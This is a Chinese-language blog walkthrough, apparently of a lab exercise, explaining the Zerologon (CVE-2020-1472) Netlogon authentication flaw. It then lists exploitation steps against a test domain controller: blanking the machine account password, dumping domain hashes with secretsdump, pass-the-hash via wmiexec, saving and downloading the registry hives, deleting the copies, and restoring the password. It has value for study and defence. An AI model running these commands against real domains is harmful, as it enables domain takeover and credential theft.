1. 漏洞原理

原理比较复杂,有兴趣的可以看看下面链接上的文章https://www.freebuf.com/articles/system/249860.html

我这里简单说一下,NetLogon协议是用来身份验证的,在身份验证的过程中,允许计算机在域内更新其密码,这里的密码是机器账户的密码。NetLogon认证过程大致如下:

  1. client发送给server一个8字节的challenge
  2. server发送给client一个8字节的challenge
  3. 双方通过计算生成session key,计算时所需的数据由申请身份验证的用户的密码,还有client与server的challenge,简而言之,理论上说,如果不知道申请身份验证的用户的密码的话,是不可能得到正确的session key的。
  4. 客户端用session key与客户端自己的challenge运算生成一个client credential并发给服务端。
  5. 服务端用session key与服务端自己的challenge运算生成server credential并发给客户端,然后用客户端的challenge跟session key做运算,看是否跟客户端发过来的一样。如果一样则身份验证成功。

这个认证的核心点就在于,如果是假冒的用户来验证,那么他一定不会知道正确的session key,那么他发送给服务端的client credential与服务端自己验证时候算的credential就一定不相同。所以是否通过验证的核心就是,是否有一个合法的client credential。

而漏洞就出现在,因为生成合法client credential需要用户的challenge还有session key,但我们不知道session key,但challenge是我们控制的。其实真正运算的时候,会在challenge前面加上16字节的0,这个就是漏洞点,这里本应该是加上16字节的随机数。
这时候我们只需要将我们的challenge边成0,那么和session key进行运算的数据就变成了全0。具体加密细节如下图:
在这里插入图片描述

虽然这个时候我们不知道session key 是多少,但我们知道运算后的credential是8字节(算法规定的不需要知道理由),且每个字节的数据都相同(因为每次都是与0做运算自然结果会相同),且第一个字节是0的概率是256分之1,因为一个字节是8位,可以表示0到255一共256个数,所以表示0的概率就是256分之1。综上,得到全0的client credential的概率是256分之1。

所以我们直接提交给服务端一个全0的client credential,就有256分制1的概率通过验证,又因为windows没有设置爆破防护机制,所以很快就能通过验证。

在这里插入图片描述
其他细节:

  1. AES-CFB8加密过程中IV(初始化向量)都是0,且是16个字节的0。
  2. 通过session key做为密钥来进行后续加密获得client credential。每次获得的session key都是不同的,然而被加密的数据是IV+challenge是我们可控的,我们需要控制challenge的值为全0,最多256次,我们就可以得到一个全0的client credential,这样就能通过认证。
  3. 设置NetrServerAuthenticate3中的flag来绕过session key加密,也就是绕过sign and seal,它是密码学的一种认证,想要执行函数必须得绕过这个认证。
  4. 因为我们知道当前的session key 加密全0的数据得到的密文也是全0的,想执行函数还必须得有一个通过认证的authentictor,而这个authentictor就是一个被session key加密的时间戳(这里可以这么理解,但其实并不是),因此只要我们使用全0的时间戳即可绕过这次认证。接着我们调用函数NetrServerPasswordSet2,它可以设置计算机的机器账户密码为空。

参考文章:cve-2020-1472分析

2. 利用

1.修改文件impacket.dcerpc.v5.nrpc

需要利用https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py文件替换本机上的nrpc文件。本机nrpc文件存储路径为:C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py

2.置空机器账户yukong$密码

python cve-2020-1472-exploit.py 机器账户名 ip
在这里插入图片描述
且发现机器账户的密码已经置空,31dc…代表空密码。
在这里插入图片描述

获取对方机器账号或者说netbios名的方式:

  1. net view

    这个服务器名称带上$就是机器名,例如lisi$或者yukong$。
  1. nbtstat -A ip
    在这里插入图片描述
    确定域控ip的方法有很多,例如:
  2. 查看开启53端口的主机
  3. net time看回显会返回域控的主机名,然后ping即可
  4. systeminfo命令查看域那块儿的值,ping一下就是域控的ip
  5. 看自己主机的dns

3.读取administrator密码

python secretsdump.py test.com/yukong$@192.168.124.142 -no-pass
在这里插入图片描述
发现此时可以使用空密码的机器账户读取域控上的用户hash。

4.下载目标的sam文件为下一步恢复机器密码做准备

python wmiexec.py -hashes :3dbde697d71690a769204beb12283678 test/administrator@192.168.124.142
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

get system.save
get sam.save
get security.save

del /f system.save
del /f sam.save
del /f security.save

exit

在这里插入图片描述
执行完成后可在wmiexec脚本所在的文件夹发现下载下来的文件:
在这里插入图片描述

python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 test.com/yukong$@192.168.124.142 -use-vss
此命令执行失败,不能用空密码的hash去进行身份验证

5.破解sam文件查看过去的机器密码

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
在这里插入图片描述
保存红色圈中的密码,这个就是过去的机器密码,也就是aad3b435b51404eeaad3b435b51404ee:999699ceadecae87fef9a2040ef2213a。

6.重制密码yukong$机器密码

python reinstall_original_pw.py yukong$ 192.168.124.142 999699ceadecae87fef9a2040ef2213a
在这里插入图片描述

7.查看密码是否恢复成功

python secretsdump.py test.com/administrator:123@192.168.124.142 -just-dc-user yukong$
python secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:3dbde697d71690a769204beb12283678 test/administrator@192.168.124.142 -just-dc-user yukong$
在这里插入图片描述
发现恢复成功。

代码:https://github.com/shanfenglan/cve-2020-1472

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐